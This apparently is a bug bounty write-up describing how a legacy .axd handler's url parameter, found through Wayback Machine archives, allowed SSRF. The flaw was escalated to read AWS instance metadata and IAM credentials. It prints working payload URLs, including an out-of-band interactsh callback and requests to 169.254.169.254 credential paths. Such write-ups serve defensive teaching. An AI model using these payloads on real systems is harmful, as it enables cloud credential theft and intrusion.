Post cover image

June 13, 2026

Easy SSRF from Wayback Machine

Link

Anonymous Traiger

2 min read

Introduction

In modern web application security, reconnaissance often separates a standard security assessment from a critical breakthrough. While automated scanners frequently miss deeply nested logic, historical web archives can expose legacy parameters that remain active — and vulnerable.

During a recent engagement on a bug bounty program (referred to here as XYZ), I leveraged historical endpoint discovery to uncover a critical Server-Side Request Forgery (SSRF) vulnerability. This flaw allowed me to access internal AWS metadata and extract highly sensitive cloud credentials.

Here is the step-by-step breakdown of how the vulnerability was identified, verified, and escalated.

The Reconnaissance Methodology

To maximize coverage, my standard asset discovery workflow follows a structured progression:

  1. Subdomain Enumeration: Utilizing tools like subfinder to map the target's external footprint.
  2. Live Host Verification & CNAME Analysis: Running httpx and dig to identify live infrastructure and check for potential subdomain takeovers.
  3. Automated Vulnerability Scanning: Deploying nuclei to quickly flag known CVEs and low-hanging misconfigurations.
  4. Historical Endpoint Archiving: Extracting historical URLs from the Wayback Machine to uncover hidden or deprecated parameters.
  5. Manual Analysis: Deeply analyzing the archived endpoints for high-impact logic flaws.

The breakthrough in this scenario occurred during Step 4 and Step 5.

Discovering the Vulnerable Endpoint

By querying the Wayback Machine's CDX API, I pulled all historical URLs associated with the target domain:

Plaintext

https://web.archive.org/cdx/search/cdx?url=*.xyz.com/*&output=text&fl=original&collapse=urlkey

While auditing the output, an isolated subdomain featuring a legacy .axd handler caught my attention. The URL contained a parameter explicitly designed to fetch remote web content:

Plaintext

https://redacted.target.com/VulnerableHandler.axd?url=https://redacted.target.com/assets&keepTextsTogether=true&width=1200&margin=30

The presence of a url= parameter fetching an internal asset strongly indicated that the application might be acting as a proxy—making it a prime candidate for an SSRF injection attack.

Weaponizing the SSRF & Cloud Provider Identification

To safely verify outbound connections from the target server, I utilized an Interactsh instance to capture out-of-band (OOB) requests.

Step 1: Testing for Outbound Connections

I replaced the legitimate URL argument with my unique Interactsh payload:

Plaintext

https://redacted.target.com/VulnerableHandler.axd?url=http://[YOUR_ID].interactsh.com&keepTextsTogether=true&width=1200&margin=30

Upon executing the request, the application responded by generating a PDF containing the rendered output of my Interactsh page. This confirmed that the server was successfully rendering external HTTP responses.

Step 2: Footprinting the Infrastructure

I extracted the originating IP address of the inbound connection from my Interactsh dashboard and queried it using Ipinfo.io. The result confirmed that the target application was hosted on Amazon Web Services (AWS).

Knowing the cloud provider allowed me to narrow down the attack vector toward fetching local cloud metadata.

Escalation: Extracting AWS Credentials

On AWS infrastructure, the Instance Metadata Service (IMDS) resides at a link-local IP address: 169.254.169.254. If a server is vulnerable to SSRF, an attacker can query this IP to extract sensitive configuration data.

Querying the Metadata Endpoint

I modified the request to target the AWS IMDS endpoint:

Plaintext

https://redacted.target.com/VulnerableHandler.axd?url=http://169.254.169.254/latest/meta-data/

The server processed the request and rendered the AWS metadata directory directly into the resulting PDF. To maximize the impact of the report, I navigated to the security credentials endpoint:

Plaintext

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

The Impact: The PDF response exposed full AWS Identity and Access Management (IAM) temporary security credentials, including the AccessKeyId, SecretAccessKey, and Token. An attacker could use these credentials to authenticate directly into the target's AWS environment, leading to full cloud infrastructure compromise.